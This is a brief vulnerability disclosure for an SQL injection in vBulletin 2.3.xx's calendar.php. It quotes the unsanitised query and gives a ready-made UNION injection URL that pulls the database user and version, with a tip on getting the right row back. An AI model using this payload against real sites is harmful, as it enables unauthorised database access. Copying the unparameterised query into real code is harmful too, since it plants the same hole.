vBulletin Forum 2.3.xx SQL InjectionThere exist a sql injection problem in calendar.php.-------- Cut from line 585 in calendar.php ----------else if ($action == "edit"){      $eventinfo = $DB_site->query_first("SELECT allowsmilies,public,userid,eventdate,event,subject FROM calendar_events WHERE eventid = $eventid");-----------------------------------------------------If the MySQL version is greater than 4.00, a UNION attack could be used.-----------------------------------------http://ww.xxx.com/bbs/calendar.php?action=edit&eventid=12%20union%20(SELECT%20allowsmilies,public,userid,"0000-0-0",user(),version()%20FROM%20calendar_events%20WHERE%20eventid%20=%2013)%20order%20by%20eventdate-----------------------------------------The query_first function will only return the first row of the query result, so make sure it returns !the one you want.